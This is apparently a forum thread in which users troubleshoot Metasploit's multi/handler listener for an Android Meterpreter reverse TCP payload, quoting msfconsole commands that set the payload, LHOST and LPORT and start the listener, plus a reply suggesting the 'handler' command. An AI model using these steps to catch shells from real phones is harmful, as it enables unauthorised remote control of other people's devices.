Please Experts out there , get a fix please!
payload handler never starts terminal returns back to msf exploit(handler) >
Don't know what to do , Anyone got any solution ?

Same problems here. Anyone got an idea? My terminal is just stopping dead completely at Started reverse TCP handler on -IP-.

Its not going back to msf exploit handler or anything. Its just stopping. I've reinstalled Kali a few times and completely updated it all but I'm getting zilch.

After setting up Payload, Lhost, Lport and Exploit it show the following but not "STARTING PAYLOAD HANDLER"

msf > use multi/handler
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
PAYLOAD => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost (my IP)
lhost => (my IP)
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

• Exploit running as background job 0.

• Started reverse TCP handler on (my IP):4444

msf exploit(handler) >

Please help to get through it

Try this :
Msfconsole
Use exploit/multi/handler
Set your payload
handler -p your payload -H your lhost -P your lport

I'm facing the same issue
